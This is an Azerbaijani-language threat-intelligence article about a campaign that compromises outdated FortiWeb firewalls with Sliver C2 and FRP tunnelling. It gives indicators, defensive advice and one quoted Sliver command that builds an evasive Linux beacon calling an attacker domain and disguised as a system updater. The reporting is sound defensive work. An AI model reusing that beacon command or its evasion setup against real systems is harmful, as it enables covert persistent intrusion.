Köhnəlmiş FortiWeb Qurğuları Hədəfdə: Təhlükə Aktoru Sliver C2 ilə Davamlı Giriş Əldə Edir

Son dövrlər kiber təhlükəsizlik mühitində kənar (edge) cihazların istismarı halları ciddi narahatlıq doğurmaqdadır. ‘Ctrl-Alt-Int3l’ tədqiqatçı qrupu tərəfindən aşkar edilən yeni bir kampaniya, mürəkkəb bir təhlükə aktorunun (Threat Actor) Fortinet şirkətinin köhnəlmiş FortiWeb veb tətbiqetmə firewall (WAF) cihazlarını hədəf aldığını göstərir. Hücumun əsas məqsədi şəbəkə daxilində uzunmüddətli və gizli nəzarəti təmin etmək üçün Sliver Komanda və Nəzarət (C2) çərçivəsini yerləşdirməkdir.

Bu hücumlar kiber müdafiəçilərə ciddi siqnaldır, çünki cinayətkarlar ənənəvi təhlükəsizlik perimetrlərini aşaraq, şəbəkənin ən etibarlı hissələrində daimi ayaq izi yaratmaq üçün açıq mənbəli (open-source) ofansiv alətlərə üstünlük verirlər. Köhnəlmiş və yenilənməmiş qurğular opportunistik, lakin yüksək hədəfli kampaniyanın əsas qurbanına çevrilib.

Texniki Detallar

Təhlükə aktorları zəiflikləri olan FortiWeb qurğularını — xüsusilə 5.4.202-dən 6.1.62-yə qədər olan köhnə firmware versiyalarını — istismar edərək ilkin girişi təmin edirlər. Hücum üçün istifadə olunan dəqiq FortiWeb zəifliyi hələ rəsmən təsdiqlənməsə də, aktorun paralel əməliyyatlarda React2Shell (CVE-2025-55182) kimi digər zəifliklərdən də istifadə etdiyi müşahidə olunub.

İlkin uğurlu istismardan dərhal sonra, hücumçular iki əsas alət yerləşdirirlər:

• Sliver C2: Mükəmməl gizlənmə qabiliyyətinə malik müasir bir Komanda və Nəzarət çərçivəsidir. Sliver, yoluxmuş cihazlara kənar serverlərlə əlaqə quraraq komandaları qəbul etməyə və zərərli əməliyyatları həyata keçirməyə imkan verir.
• Fast Reverse Proxy (FRP): Bu alət daxili şəbəkədəki lokal xidmətləri xaricə ifşa etmək üçün tətbiq edilir. FRP, zərərli aktorun qurbanın daxili şəbəkəsi ilə xarici idarəetmə sistemləri arasında birbaşa körpü (bridge) yaratmasına xidmət edir və beləliklə, şəbəkə seqmentasiyasını deşir.

Bu zərərli infrastruktur ‘Ctrl-Alt-Int3l’ analitikləri tərəfindən Censys üzərində aparılan açıq kataloq təhlükə ovçuluğu zamanı aşkar edilib. Analizçilər təsadüfən ifşa olunmuş Sliver C2 məlumat bazalarını və loglarını tapıblar ki, bu da onlara yoluxmuş cihazların mərkəzləşdirilmiş C2 serverlərinə ötürdüyü siqnalları izləməyə imkan verib.

Təhlükənin Miqyası

Hücumun əməliyyat təsiri son dərəcə ağırdır, çünki FortiWeb kimi kritik təhlükəsizlik qurğuları şəbəkə daxilində yüksək etibar səviyyəsinə malikdirlər. Sliver implantının birbaşa firewallda yerləşdirilməsi, aktora trafikə nəzarət etmək və imtiyazlı (privileged) əmrləri icra etmək səlahiyyəti verir. Bu, şəbəkənin müdafiə qabiliyyətinin tamamilə pozulması deməkdir.

Kampaniya həm də coğrafi hədəfləməyə diqqət yetirir. Aşkar edilmiş C2 infrastrukturu – məsələn, ns1.ubunutpackages[.]store və ns1.bafairforce[.]army – Cənubi Asiya regionundakı hədəflərə xüsusi olaraq yönəldilmiş aldadıcı (decoy) mövzularla qurulmuşdur. Bu domenlər guya ‘Ubuntu Packages’ repozitoriyası və ya ‘Banqladeş Hərbi Hava Qüvvələri’nə işə qəbul səhifəsi kimi maskalanmışdı.

Payload Evasion Strategiyası

Aşkar edilmiş Sliver konfiqurasiya əmri aktorun gizlənməyə nə qədər önəm verdiyini göstərir. Loglarda belə bir əmr tapılmışdır:

generate beacon --http ns1.ubunutpackages.store --reconnect 120 --strategy r --template ubuntu --os linux --evasion --save ./system-updater --seconds 60

Bu konfiqurasiya, zərərli yükün hər 120 saniyədən bir yenidən qoşulmasını təmin edir və “ubuntu” şablonundan istifadə edərək özünü Linux proseslərinə bənzədir. Nəticədə əldə edilən ikilik fayl FortiWeb qurğularında /bin/.root/system-updater ünvanına yerləşdirilib və sistem yeniləmə proqramı kimi maskalanmışdır.

Tövsiyələr və Həll Yolları

‘Xaker.az’ olaraq, şəbəkə müdafiəçilərinə bu tipli hücum risklərini azaltmaq üçün aşağıdakı təcili tədbirləri görməyi tövsiyə edirik:

• Təcili Patching və Yeniləmə: FortiWeb cihazlarının firmware versiyalarını dərhal istehsalçının təqdim etdiyi ən son, dəstəklənən versiyaya qaldırın. Köhnəlmiş versiyaların şəbəkədə qalmasına qətiyyən icazə verilməməlidir.
• Kənar Cihazların Sərtləşdirilməsi: FortiWeb və digər WAF/Firewall cihazlarında minimum imtiyaz prinsipini tətbiq edin və idarəetmə interfeyslərini yalnız etibarlı daxili IP ünvanlarından əlçatan edin.
• Şəbəkə Nəzarəti: Şəbəkə trafikində FRP (Fast Reverse Proxy) istifadəsinə dair qeyri-adi fəaliyyətləri və ya Sliver C2 ilə əlaqəli məlum IOK-ları (Indicators of Compromise) aktiv şəkildə izləyin.
• C2 Domainlərinin Bloklanması: ns1.ubunutpackages[.]store və ns1.bafairforce[.]army kimi aşkar edilmiş aldadıcı domenləri firewall və DNS səviyyəsində bloklayın.
• Fayl İnteqrasiyası Yoxlaması: FortiWeb cihazlarında /bin/.root/system-updater və ya digər gözlənilməz yerlərdə Linux əməliyyat sistemləri üçün nəzərdə tutulmuş ikilik faylların olub-olmadığını yoxlayın.

Nəticə

FortiWeb qurğularına yönəlmiş bu kampaniya bir daha göstərir ki, perimetr cihazlarının vaxtında yenilənməsi kiber təhlükəsizlik strategiyasının ayrılmaz hissəsidir. Təhlükə aktorları şəbəkələrə sızmaq üçün ən zəif həlqədən – yəni, vaxtı keçmiş tətbiqi proqram təminatından – istifadə etməyə davam edəcəklər. Təhlükəsizlik komandaları C2 alətlərinin mürəkkəbliyini və FRP kimi tunel alətlərinin istifadəsini nəzərə alaraq, müdafiə mexanizmlərini daima təkmilləşdirməlidirlər.